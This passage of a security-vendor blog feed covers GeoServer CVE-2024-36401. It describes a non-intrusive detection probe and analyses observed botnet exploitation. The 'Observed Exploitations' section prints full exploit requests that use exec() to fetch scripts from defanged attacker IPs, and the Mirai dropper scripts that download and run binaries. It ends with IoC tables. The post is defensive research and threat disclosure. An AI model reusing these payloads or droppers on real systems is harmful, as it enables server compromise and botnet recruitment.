
&lt;p&gt;These are important because it’s during the processing of these Feature Types that the unsafe evaluation of the XPath expressions occurs.&lt;/p&gt;

&lt;p&gt;In the normal initial usage of the application, an administrator will create a Feature Type in the application, in the &lt;code style="color:green;"&gt;format: namespace:featuretype -&lt;/code&gt; for example, &lt;code style="color:green;"&gt;bitsight:randomFeature&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;The publicly known exploits&lt;/h3&gt;

&lt;p&gt;At the time of our research, there were a few write-ups available already for this vulnerability, accompanied by their own Proof of Concepts, such as &lt;a href="https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401"&gt;Vicarius.io - GeoServer RCE (CVE-2024-36401)&lt;/a&gt;, and &lt;a href="https://www.keysight.com/blogs/en/tech/nwvs/2024/09/03/cve-2024-36401-rce-in-geoserver"&gt;Keysight - CVE-2024-36401: A Remote Code Execution Vulnerability in GeoServer&lt;/a&gt;. However, as we highlighted below, the already available PoCs had two issues that prevented us from porting them directly onto our detection engine:&lt;/p&gt;

&lt;p&gt;Problem #1: &lt;strong&gt;Intrusiveness&lt;/strong&gt; - the used payloads attempted to achieve remote code execution and confirm the existence of the vulnerability by leveraging this code execution to make a callback to the attacker’s server, or to create a file on the server. This is not something that we can do at an internet scale, as we refrain from performing any detection technique that might cause a state-changing operation in the target.&lt;/p&gt;

&lt;p&gt;Problem #2: &lt;strong&gt;Scalability&lt;/strong&gt; - the used payloads need the &lt;code style="color:green;"&gt;featureType&lt;/code&gt; parameter that we explained above, which depends on each of the targets’ initial configuration. In the below PoCs, they either used a parameter that needs to be supplied by the attacker when executing it, or a hardwired parameter that would only work against that researcher’s environment, since he configured his GeoServer server with the &lt;code style="color:green;"&gt;workspace:states&lt;/code&gt; feature type.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/attacker-supplied%20parameter%20type.png" width="850" height="534" alt="attacker-supplied parameter type" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 2 - PoC from &lt;a href="https://github.com/bigb0x/CVE-2024-36401/"&gt;https://github.com/bigb0x/CVE-2024-36401/&lt;/a&gt; - using an attacker-supplied parameter &lt;code style="color:green;"&gt;type&lt;/code&gt;, and using an RCE payload to trigger a callback.&lt;/p&gt;

&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/RCE%20payload.png" width="850" height="269" alt="RCE payload" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 3 - PoC from https://www.keysight.com/blogs/en/tech/nwvs/2024/09/03/cve-2024-36401-rce-in-geoserver - using a hard-coded &lt;code style="color:green;"&gt;workspace:states&lt;/code&gt; parameter &lt;code style="color:green;"&gt;type&lt;/code&gt;, and using an RCE payload to create a file on the server.&lt;/p&gt;
&lt;/center&gt;

&lt;h3&gt;Detecting it safely, and at scale&lt;/h3&gt;

&lt;p&gt;Given these two problems, our focus now shifts towards tweaking the payload itself to solve them.&lt;/p&gt;

&lt;p&gt;For the first one, we quickly figured out a solution to make it significantly less intrusive. We found that we could discard the &lt;code style="color:green;"&gt;exec()&lt;/code&gt; Java directive altogether, and just use &lt;code style="color:green;"&gt;java.lang.Runtime.getRuntime()&lt;/code&gt;.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/Vulnerable%20response.png" width="850" height="399" alt="Vulnerable response" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 4 - Vulnerable response from benign payload&lt;/p&gt;

&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/patched%20version.png" width="850" height="331" alt="patched version" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 5 - Patched response from benign payload&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;Vulnerable versions of the Geoserver software would reply with a &lt;code style="color:green;"&gt;400&lt;/code&gt; HTTP Status Code, as well as an error message containing a &lt;code style="color:green;"&gt;ClassCastException&lt;/code&gt;, while patched versions of the application would not try to dynamically interpret the invalid XPath expression, and instead reply with a 500 HTTP Status Code and the message &lt;code style="color:green;"&gt;No such attribute: java.lang.Runtime.getRuntime()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We later found out that the same request can be translated to a GET request instead, such as &lt;code style="color:green;"&gt;/geoserver/wfs?request=GetPropertyValue&amp;amp;service=wfs&amp;amp;typeNames={type_name}&amp;amp;valueReference=java.lang.Runtime.getRuntime%28%29&amp;amp;version=2.0.0&lt;/code&gt;, which simplifies our payload.&lt;/p&gt;

&lt;p&gt;As for the second issue, it required us to dig deeper into other research, as well as into the software’s documentation itself. We needed to figure out an unauthenticated way to obtain a valid featureType from each of the instances before triggering our benign payload.&lt;/p&gt;

&lt;p&gt;When reviewing some links and documentation, we found the following &lt;a href="https://gis.stackexchange.com/questions/286387/get-list-of-feature-types-from-wfs-without-full-getcapabilities-document"&gt;Stack Overflow Answer&lt;/a&gt;, and the respective functionality in the &lt;a href="https://docs.geoserver.org/main/en/user/services/wfs/reference.html"&gt;documentation&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;Here, it states that there is an endpoint &lt;code style="color:green;"&gt;/geoserver/workspacename/ows?service=WFS&amp;amp;request=DescribeFeatureType&lt;/code&gt;, which will reply with a list of Feature Types for that GeoServer instance.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/stackoverflow-answer.png" width="850" height="253" alt="stackoverflow-answer" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 6 - &lt;a href="https://gis.stackexchange.com/questions/286387/get-list-of-feature-types-from-wfs-without-full-getcapabilities-document"&gt;Stack Overflow Answer&lt;/a&gt; regarding &lt;code style="color:green;"&gt;DescribeFeatureType&lt;/code&gt;&lt;/p&gt;

&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/10/07/DescribeFeatureType.png" width="850" height="823" alt="DescribeFeatureType" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Figure 7 - GeoServer’s documentation regarding &lt;code style="color:green;"&gt;DescribeFeatureType&lt;/code&gt;&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;Leveraging this endpoint before, Problem #2 is now solved, and our detection logic will be finalized as follows:&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Issue a request to &lt;code style="color:green;"&gt;/geoserver/workspacename/ows?service=WFS&amp;amp;request=DescribeFeatureType&lt;/code&gt;&lt;/li&gt;
	&lt;li&gt;Parse the response and retrieve a valid &lt;code style="color:green;"&gt;featureType&lt;/code&gt; value&lt;/li&gt;
	&lt;li&gt;Issue a request to &lt;code style="color:green;"&gt;/geoserver/wfs?request=GetPropertyValue&amp;amp;service=wfs&amp;amp;typeNames={type_name}&amp;amp;valueReference=java.lang.Runtime.getRuntime%28%29&amp;amp;version=2.0.0&lt;/code&gt;&lt;/li&gt;
	&lt;li&gt;Parse the response
	&lt;ol&gt;
		&lt;li&gt;If the response is a &lt;code style="color:green;"&gt;400&lt;/code&gt; HTTP Status Code, containing an error message that includes a &lt;code style="color:green;"&gt;ClassCastException&lt;/code&gt; message, then it’s &lt;strong&gt;vulnerable to CVE-2024-36401&lt;/strong&gt;&lt;/li&gt;
	&lt;/ol&gt;
	&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Results&lt;/h3&gt;

&lt;p&gt;After CVE-2024-36401 was added to the CISA KEV, we implemented this detection capability into our product in September 2024. Around that time, we found 4606 GeoServer instances, of which 1071 were vulnerable to this vulnerability. Now, around 10 months later, we still support it, and this number has been reduced to &lt;a href="https://www.bitsight.com/groma-explorer/geosolutionsgroup/geoserver"&gt;approximately 2,074 GeoServer instances&lt;/a&gt;, from which &lt;a href="https://www.bitsight.com/groma-explorer/cve-2024-36401"&gt;385 are still vulnerable to this CVE&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Observed Exploitations&lt;/h2&gt;

&lt;p&gt;Fingerprinting scans for GeoServer services are a common observation in our datasets, but around summertime, specifically between June and August, we observed exploitation attempts for CVE-2024-36401. These exploits were dropping a script with the purpose of recruiting vulnerable servers into botnets, which we detail next.&lt;/p&gt;

&lt;h3&gt;Vtubers Exploit&lt;/h3&gt;

&lt;p&gt;One of the exploits which we’ve named Vtubers, based on the name of the script being dropped, was sending the payload seen below in Fig. 8:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;
GET /geoserver/wfs?service=WFS&amp;amp;version=2.0.0&amp;amp;request=GetPropertyValue&amp;amp;typeNames=topp:states&amp;amp;valueReference=exec(java.lang.Runtime.getRuntime(),'curl -o vtubers.sh hxxp://15.204.119[.]129/vtubers.sh; chmod 777 vtubers.sh; sh vtubers.sh; rm -rf vtubers.sh') HTTP/1.1  
Host: xx.xx.xx.xx:443
&lt;/pre&gt;

&lt;center&gt;
&lt;p&gt;Figure 8 - Payload sent by the &lt;em&gt;Vtubers&lt;/em&gt; exploit&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;This exploit tries to run `curl` to drop and run a script named `vtubers.sh`. We've observed at least 2 different versions of the `vtubers.sh` script, which are shown below in Fig. 9:&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;

#!/bin/sh

echo "hololive vtubers are the best!"

wget hxxp://15.204.119[.]129/shion.vtubers
curl hxxp://15.204.119[.]129/watame.vtubers

&lt;/pre&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;
vtubers="amelia ayame fubuki gura haachama kiara korone laplus marine mori mumei okayu pekora shion subaru towa"
hololivepro="172.233.82[.]130"

if command -v wget &amp;gt;/dev/null 2&amp;gt;&amp;amp;1; then
    for vtuber in $vtubers; do
        wget -q "http://$hololivepro/$vtuber.vtuber" -O "$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
elif command -v curl &amp;gt;/dev/null 2&amp;gt;&amp;amp;1; then
    for vtuber in $vtubers; do
        curl -s -o "$vtuber.vtuber" "http://$hololivepro/$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
else
    echo ":("
    exit 1
fi
&lt;/pre&gt;

&lt;center&gt;
&lt;p&gt;Figure 9 - Content of observed `vtubers.sh` script&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;Regarding the URLs in the first script, we were not able to find their content, but looking at the content of the second script we hypothesize that they’d have a similar functionality, where multiple binary files are fetched and run. The second script shows a common behaviour for payloads used in internet exposed devices, where binaries are compiled for multiple architectures, and then the implant script attempts to use either `curl` or `wget` to fetch the correct binary for the architecture.&lt;/p&gt;

&lt;p&gt;We briefly looked at the binaries being dropped by the script to get a better understanding of the botnet, and based on the signatures provided by VirusTotal this botnet appears to be a &lt;a href="https://research.google/pubs/understanding-the-mirai-botnet/"&gt;Mirai&lt;/a&gt; variant, which has self-propagating and DDoS capabilities. We searched our telemetry for exploits dropping the same `vtubers.sh` script and found multiple payloads for different vulnerabilities, which align with the behaviour of Mirai. We only found 27 unique IPs related to this botnet for the year of 2025, indicating that at the time of writing the botnet is quite small in terms of potentially infected machines. For completeness, we’ve also extracted the indicators used as Command and Control (C2), which we share in the IoCs section.&lt;/p&gt;

&lt;h3&gt;Test Exploit&lt;/h3&gt;

&lt;p&gt;One other exploit we’ve observed is shown below in Fig. 10, which we've named test based on the payload name.&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;
GET /geoserver/wfs?service=WFS&amp;amp;version=2.0.0&amp;amp;request=GetPropertyValue&amp;amp;typeNames=topp:states&amp;amp;valueReference=exec(java.lang.Runtime.getRuntime().exec("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/test.sh; curl -O hxxp://65.21.56[.]214/test.sh; chmod +x *; chmod 777 *; sh test.sh; ./test.sh; rm -rf * | sh")) HTTP/1.1  
Host: xx.xx.xx.xx:8080  
Accept: */*
&lt;/pre&gt;

&lt;center&gt;
&lt;p&gt;Figure 10 - Payload sent by the &lt;em&gt;test&lt;/em&gt; botnet&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;Similar to before, this exploit fetches and tries to run a script. Fig. 11 below shows the content of the script, which behaves identically to the previous botnet: `curl` and `wget` are used to fetch one binary that works for the exploited service architecture.&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;color:green;"&gt;
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86; curl -O hxxp://65.21.56[.]214/systemcl/x86; cat x86 &amp;gt; unk.x86; chmod +x *; ./unk.x86 x86; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mips; curl -O hxxp://65.21.56[.]214/systemcl/mips; cat mips &amp;gt; unk.mips; chmod +x *; ./unk.mips mips; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arc; curl -O hxxp://65.21.56[.]214/systemcl/arc; cat arc &amp;gt; unk.arc ; chmod +x *; ./unk.arc arc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i468; curl -O hxxp://65.21.56[.]214/systemcl/i468; cat i468 &amp;gt; unk.i468 ; chmod +x *; ./unk.i468 i468; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i686; curl -O hxxp://65.21.56[.]214/systemcl/i686; cat i686 &amp;gt; unk.i686 ; chmod +x *; ./unk.i686 i686; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86_64; curl -O hxxp://65.21.56[.]214/systemcl/x86_64; cat x86_64 &amp;gt; unk.x68_64  ; chmod +x *; ./unk.x86_64 x86_64; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mpsl; curl -O hxxp://65.21.56[.]214/systemcl/mpsl; cat  mpsl &amp;gt; unk.mpsl ; chmod +x *; ./unk.mpsl mpsl; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm; curl -O hxxp://65.21.56[.]214/systemcl/arm; cat  arm &amp;gt; unk.arm ; chmod +x *; ./unk.arm arm; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm5; curl -O hxxp://65.21.56[.]214/systemcl/arm5; cat  arm5 &amp;gt; unk.arm5 ; chmod +x *; ./unk.arm5 arm5; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm6; curl -O hxxp://65.21.56[.]214/systemcl/arm6; cat  arm6 &amp;gt; unk.arm6 ; chmod +x *; ./unk.arm6 arm6; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm7; curl -O hxxp://65.21.56[.]214/systemcl/arm7; cat  arm7 &amp;gt; unk.arm7 ; chmod +x *; ./unk.arm7 arm7; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/ppc; curl -O hxxp://65.21.56[.]214/systemcl/ppc; cat  ppc &amp;gt; unk.ppc ; chmod +x *; ./unk.ppc ppc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/spc; curl -O hxxp://65.21.56[.]214/systemcl/spc; cat  spc &amp;gt; unk.spc ; chmod +x *; ./unk.spc spc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/m68k; curl -O hxxp://65.21.56[.]214/systemcl/m68k; cat  m68k &amp;gt; unk.m68k ; chmod +x *; ./unk.m68k m68k; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/sh4; curl -O hxxp://65.21.56[.]214/systemcl/sh4; cat  sh4 &amp;gt; unk.sh4 ; chmod +x *; ./unk.sh4 sh4; rm -rf *
&lt;/pre&gt;

&lt;center&gt;
&lt;p&gt;Figure 11 - Script `test.sh` content&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;This second botnet is identical to the previous one in terms of behaviour. Based on signatures for the binaries dropped by the script, we also believe this is a Mirai variant but from a different threat actor. We've only identified 6 unique IPs using the same `test.sh` script, but we also note that this threat actor segregates their infrastructure more, as the IPs hosting the scripts differ from the ones used as C2 for the botnet; hence, we might not have the complete picture for this botnet.&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;CVE-2024-36401 highlights the importance of not taking publicly available PoCs at face value, as some of them might be tested only against the researchers’ own environments. At Bitsight, part of the responsibility of the vulnerability research team is, even when PoCs for a certain vulnerability are already public, making sure that they are not only safe to use but also that they are accurate when loaded for an at-scale detection scenario. We also show that even though the vulnerability is not new, threat actors are exploiting it, which reinforces why enterprises should control their exposure using services like Bitsight’s Security Performance Management and Continuous Monitoring.&lt;/p&gt;

&lt;h2&gt;IoCs&lt;/h2&gt;
&lt;style type="text/css"&gt;.text-wysiwyg__body table tr td:first-child {font-weight:normal;}


.text-wysiwyg__body table tr:nth-child(even)
 { background-color:#fff;}
&lt;/style&gt;
&lt;table class="text-wysiwyg__body" style="width:100%; border-collapse: collapse;"&gt;
	&lt;thead&gt;
		&lt;tr&gt;
			&lt;th style="border:1px solid #ccc; padding:8px; text-align:left;"&gt;SHA256&lt;/th&gt;
			&lt;th style="border:1px solid #ccc; padding:8px; text-align:left;"&gt;Details&lt;/th&gt;
		&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;962949acaad7d8d626893abfb746db37a1bbf680ec0ce4d9d993deb82539f627&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;&lt;em&gt;Vtubers&lt;/em&gt; botnet binaries hosted by 172.233.82[.]130&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;611737dd350548f3dd1ed7b3e657d4fbcea68c3c04aee8b4a372c647f3db7853&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;80ce552aaa53902ad9505e9a6f47bfd93ba4d1e2513af7f2d6b32e169bfe127&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;caf58369b34126be4f46efed96ecab81b2c4f16feced00b34ea0423abd743c29&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;d23686d396824086497b65b5b2443c4c07a60fd157d13ec904f662e21405bad&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;10212aa94ba13323cf27b190b1f784252bc8358cdccac2ccb82991183ec25cd&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;c0b89dfce895a832eafa06bb8419780e74afa895d7a48ff7d8c53ded9a5374&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;59f2a4503647d69bcdba4ff68442e97550eed0d4bf13f49ad2f4f77119fa864&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;9fe88c7d94383284cf26ab9a3936b4d984118ede03aacd3f1a7e80d18740894&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;f2013cb532946fda1dfc42cde8e8a36aa61be1f4a177e7aef633a8c7918871f3&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;3b4b682c2acb9ca965bb602ff42581c41cfbfb08d195bfed65410294f608bfad&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;87435f5450f563794447a982789a1fbee1b79207b2997338c75e527b057ac&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;3aad43f537977b132d96ed9604e0f2fdbe3ad78d19a33e3768cd79be3808d0a&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;ecf86e7430e1cfd701a7890c65c29da8da84f5cd88a8198e98924436c7bfc2&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;dafb6cfaab8ef0c98d9c3bb38d837a12a1b3a29f77dc7c0eb71d6cca81b89264&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;74ec1545696cfcf4fe57fe27da1218e82c4da87ca6eb34db98068f1dc769d275&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;d2ba3ef8af026fd0d2d33248c42236bec5b944b668f5ebc7cdba2b04cc4b9fd4&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;&lt;em&gt;Test&lt;/em&gt; botnet binaries hosted by 65.21.56[.]1214&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;da0d7ca9995e5a056755058fbb3b37e301d854808f580edcad5898541285e7d1&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;ada7225e886f9c2c8e88f94d5c04a8bf564f3cebd989342eb183e5c628a072da&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;56a9e38649a022dd11c43974aa709860f585b9655e85fe2901b3201d03165762&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;fd327e197d291bdcdbaf7382c8f37f7f19c9956991323794ed529c8281bae73&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;bf3f6daad4aabe72c30eb64407dfba52b15e6c108c6502d44c57a72b655279891&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;1cbdc275caff194fc4eded354e7604d3b189a9ee5d5532370cb1db3676158704&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;table class="text-wysiwyg__body" style="width:100%; border-collapse: collapse;"&gt;
	&lt;thead&gt;
		&lt;tr&gt;
			&lt;th style="border:1px solid #ccc; padding:8px; text-align:left;"&gt;Domain/IP&lt;/th&gt;
			&lt;th style="border:1px solid #ccc; padding:8px; text-align:left;"&gt;Details&lt;/th&gt;
		&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;217.113.49[.]161&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;IP sending the exploit for the &lt;em&gt;Vtubers&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;okayuthefoodiecat.mozicloud[.]org&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;Domains used by the &lt;em&gt;Vtubers&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;hololive.mozicloud[.]org&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;holohouse.uwunekochan[.]com&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;vtubers.uwunekochan[.]com&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;15.204.119[.]129&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;IP hosting binaries, scripts and C2 for the &lt;em&gt;Vtubers&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;172.233.82[.]130&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;185.194.177[.]60&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;IP sending the exploit for the &lt;em&gt;Test&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;65.21.56[.]214&lt;/td&gt;
			&lt;td style="border:1px solid #ccc;padding:8px;border-right: none;"&gt;IP hosting binaries and scripts for the &lt;em&gt;Test&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;zrysdxnzmo.antiwifi[.]cc&lt;/td&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;border-bottom: none;border-right: none;"&gt;Domains used by the &lt;em&gt;Test&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;jmanga[.]co&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td style="border:1px solid #ccc; padding:8px;"&gt;87.121.84[.]60&lt;/td&gt;
			&lt;td style="border:1px solid #ccc;padding:8px;border-right: none;"&gt;IP used as C2 for the &lt;em&gt;Test&lt;/em&gt; botnet&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 09 Oct 2025 11:55:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">17891 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>180,000 ICS/OT Devices and Counting: The Unforgivable Exposure</title>
  <link>https://www.bitsight.com/blog/the-growing-exposure-of-ics-ot-devices</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;180,000 ICS/OT Devices and Counting: The Unforgivable Exposure&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-09-25T05:42:18+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-09-25T01:42:18-04:00" title="Thursday, September 25, 2025 - 01:42" class="datetime"&gt;Thu, 09/25/2025 - 01:42&lt;/time&gt;
&lt;/span&gt;

